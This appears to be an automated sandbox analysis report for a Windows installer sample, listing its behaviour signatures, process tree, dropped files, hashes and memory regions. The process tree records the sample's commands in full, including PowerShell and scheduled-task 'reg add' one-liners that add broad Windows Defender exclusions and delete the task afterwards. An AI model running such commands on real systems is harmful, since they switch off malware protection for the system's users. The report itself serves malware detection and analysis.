Analysis

  • max time kernel
    151s
  • max time network
    104s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/08/2026, 22:20

General

  • Target
    setup_a9.0.09.exe
  • Size 31.2MB
  • Sample260830-19ft8aap7w
  • SHA256 1f92f670374f93602ac413008bd2809338c9d0179ad844d096bb53125d1eb306
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_a9.0.09.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_a9.0.09.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2640
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:5908
    • C:\Users\Public\DDgVky\Y7aPhF.exe
      "C:\Users\Public\DDgVky\Y7aPhF.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5076
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:3968
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\DDgVky\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:5668
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\DDgVky\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1692
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:6116
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:3212
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:3836
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1224
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:4592
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:3760
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:4744
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:5720
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:4520
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:3028
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:4316
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:1164
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:6056
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:844
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:1952
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:2396
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:5632
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:5176
                        • C:\Users\Public\DDgVky\Y7aPhF.exe
                          "C:\Users\Public\DDgVky\Y7aPhF.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4472
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\DDgVky" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3440
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\DDgVky" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1848
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:5900
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:6072
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2272
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5216
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4388
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:2716
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4144

                          Network

                                MITRE ATT&CK Enterprise v16

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                                Downloads

                                UxEnhance64.dll

                                • Path C:\Users\Public\DDgVky\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 7951ffd978be39dcf8b311036ea6c6a54e45731074667f2c6a2a8e6dfbff1f91
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Y7aPhF.exe

                                • Path C:\Users\Public\DDgVky\Y7aPhF.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\DDgVky\adoresd.dat
                                • Size 4.7MB
                                • SHA256 22c4ecb02a4192e3f60681f88050759bb7094b8d6d5e044f061b26fb0bbe7a8f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\DDgVky\msadox.tb
                                • Size 8KB
                                • SHA256 ab93f3d6b25dd849f0f70ac54d5d8dc5ac7fef3bd45b05385ef2f5f7cc9306a8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/2640-0-0x0000000000420000-0x000000000042E000-memory.dmp

                                memory/2640-1-0x0000000000420000-0x000000000042E000-memory.dmp

                                memory/2640-527-0x00007FFAC88B0000-0x00007FFAC88C2000-memory.dmp

                                memory/2640-504-0x00007FFAC88B0000-0x00007FFAC88C2000-memory.dmp

                                memory/2640-526-0x0000000000420000-0x000000000042E000-memory.dmp

                                memory/2640-2-0x00000000008B0000-0x00000000008BC000-memory.dmp

                                memory/3968-608-0x000001C59F140000-0x000001C59F15E000-memory.dmp

                                memory/3968-609-0x000001C59F160000-0x000001C59F212000-memory.dmp

                                memory/3968-610-0x000001C59F220000-0x000001C59F22A000-memory.dmp

                                memory/3968-604-0x000001C59F0E0000-0x000001C59F102000-memory.dmp

                                memory/4472-577-0x00007FFAB4D90000-0x00007FFAB52AE000-memory.dmp

                                memory/4472-581-0x0000014608520000-0x0000014608DA7000-memory.dmp

                                memory/4472-586-0x0000014608520000-0x0000014608DA7000-memory.dmp

                                memory/4472-589-0x00007FFAD7470000-0x00007FFAD7472000-memory.dmp

                                memory/4472-588-0x0000014608520000-0x0000014608DA7000-memory.dmp

                                memory/4472-587-0x0000014608520000-0x0000014608DA7000-memory.dmp

                                memory/4472-585-0x0000014608520000-0x0000014608DA7000-memory.dmp

                                memory/4472-580-0x00007FFAD7480000-0x00007FFAD7482000-memory.dmp

                                memory/4472-578-0x0000014608520000-0x0000014608DA7000-memory.dmp

                                memory/5076-533-0x00007FFAB4D90000-0x00007FFAB52AE000-memory.dmp

                                memory/5076-561-0x00000186DDC30000-0x00000186DDCBA000-memory.dmp

                                memory/5076-565-0x00000186DD2B0000-0x00000186DDB37000-memory.dmp

                                memory/5076-567-0x00000186DD2B0000-0x00000186DDB37000-memory.dmp

                                memory/5076-568-0x00000186DD2B0000-0x00000186DDB37000-memory.dmp

                                memory/5076-562-0x00000186DDC30000-0x00000186DDCBA000-memory.dmp

                                memory/5076-563-0x00000186DDC30000-0x00000186DDCBA000-memory.dmp

                                memory/5076-558-0x00000186DC8A0000-0x00000186DC8EE000-memory.dmp

                                memory/5076-560-0x00000186DDC30000-0x00000186DDCBA000-memory.dmp

                                memory/5076-552-0x00000186DD2B0000-0x00000186DDB37000-memory.dmp

                                memory/5076-547-0x00000186DD2B0000-0x00000186DDB37000-memory.dmp

                                memory/5076-548-0x00000186DD2B0000-0x00000186DDB37000-memory.dmp

                                memory/5076-546-0x00000186DD2B0000-0x00000186DDB37000-memory.dmp

                                memory/5076-545-0x00000186DD2B0000-0x00000186DDB37000-memory.dmp

                                memory/5076-541-0x00000186DD2B0000-0x00000186DDB37000-memory.dmp

                                memory/5076-540-0x00007FFAD7480000-0x00007FFAD7482000-memory.dmp

                                memory/5076-538-0x00000186DD2B0000-0x00000186DDB37000-memory.dmp

                                memory/5076-532-0x00007FFAD7470000-0x00007FFAD7472000-memory.dmp